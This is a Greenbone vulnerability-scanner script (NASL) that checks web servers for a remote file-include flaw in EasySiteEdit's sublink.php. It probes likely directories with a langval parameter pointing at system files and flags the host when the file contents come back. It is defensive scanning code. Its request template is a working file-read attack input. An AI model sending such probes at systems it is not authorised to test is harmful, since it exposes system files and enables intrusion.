EasySiteEdit 'sublink.php' Remote File Include Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103274");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-09-23 10:55:34 +0200 (Fri, 23 Sep 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("EasySiteEdit 'sublink.php' Remote File Include Vulnerability");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49258");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"EasySiteEdit is prone to a remote file-include vulnerability because
  it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"impact", value:"Exploiting this issue may allow an attacker to compromise the
  application and the underlying system. Other attacks are also possible.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since
  the disclosure of this vulnerability. Likely none will be provided anymore. General solution options
  are to upgrade to a newer release, disable respective features, remove the product or replace the
  product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");
include("os_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/esev2", "/esev", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  buf = http_get_cache(item:dir + "/", port:port);
  if(!buf || buf !~ "^HTTP/1\.[01] 200" || ("All rights reserved" >!< buf && "Privacy policy" >!< buf && "Terms of use" >!< buf))
    continue;

  foreach file( keys( files ) ) {

    url = dir + "/sublink.php?langval=/" + files[file];

    if( http_vuln_check( port:port, url:url, pattern:file ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );